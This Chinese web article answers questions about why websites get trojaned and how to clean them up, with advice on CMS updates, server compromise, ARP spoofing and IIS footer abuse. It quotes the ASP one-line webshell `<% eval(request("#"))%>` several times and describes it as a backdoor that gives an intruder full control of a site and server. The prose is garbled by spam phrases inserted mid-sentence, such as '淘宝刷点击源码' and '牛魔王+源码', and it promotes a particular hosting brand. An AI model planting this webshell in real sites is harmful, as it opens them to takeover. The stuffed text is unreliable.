1.网站被挂马原因在哪？
2.<% eval(request("#"))%>
3.网站被挂马，不干办后来删除了，净网但是站源百度快照上面还是显示违法信息

网站被挂马原因在哪？

       网站程序漏洞

       为什么主流的建站程序都在更新啊?因为黑客在不停得更新技术啊!如果还坚持用旧版本的网站程序被挂马也没什么奇怪。因为这种不完善的干净程序，特别容易被黑客植入病毒代码。网站这种情况解决方法主要有两：

       1.选择知名公司开发的源码淘宝刷点击源码网站程序，并且确保他们能及时更新，不干办如discuz、净网phpwind等。站源自己也要及时关注官方动态，干净及时进行更新。网站

       2.不想换程序，源码也行，不干办备份好数据库、净网等重要内容，站源源码有版权然后把网站程序全部清空，再上传干净的上去。这样做是为了彻底清除黑客加入的后门程序，因为大部分后门程序都被伪装或者隐藏，很难被发现。然后再联系服务商关闭全部读写权限，只留数据库和目录读写权限即可。小京东+源码

       整个服务器被黑

       这种情况十分恐怖，服务器上的所有网站都会中招，这种情况如果服务商没有很好的技术条件或者牛逼的管理程序支持，很容易造成严重的损失。所以说过很多遍了，不要贪便宜买不知名的网站空间。选择像蓝队网络这类实力品牌，牛魔王+源码实力保证。同时注意用安全卫士定期扫描。

       整个机房ARP欺骗

       这种情况也是查挂马不会提示的，但是在网上访问查源文件就会出现，这种情况还是选择像蓝队网络这类与安全卫士合作的服务商，开启ARP防火墙。或者建议服务商在服务器上安装安全卫士，虚幻引擎+源码开启ARP防火墙，再联系机房处理。

       IIS网站属性漏洞

       IIS的网站属性中，有一个启用文档页脚功能，这个功能会附加一个html文件到网站上的每个文件中。有的黑客就是利用这个功能，让客户的网站挂马。这种情况下直接查看源代码是没有被挂马，但是在网上访问就会有。

<% eval(request("#"))%>

       <% eval(request("#"))%>这句话是一句话小马的服务端，入侵者能利用lake2的客户端进行连接，从而得到一个网站的最高权限，更甚至，拿下这台服务器，注意站点的安全了lz

网站被挂马，后来删除了，但是百度快照上面还是显示违法信息

如果自己懂程序，那就可以自己针对代码的漏洞进行漏洞修复，不懂的话，就请专业的网站安全公司来完善一下程序上的某些代码漏洞，国内像SINE安全、绿盟安全、启明星辰都是比较专业的安全公司，很多黑客之所以能植入木马病毒，就是抓住了这些网站代码上的漏洞。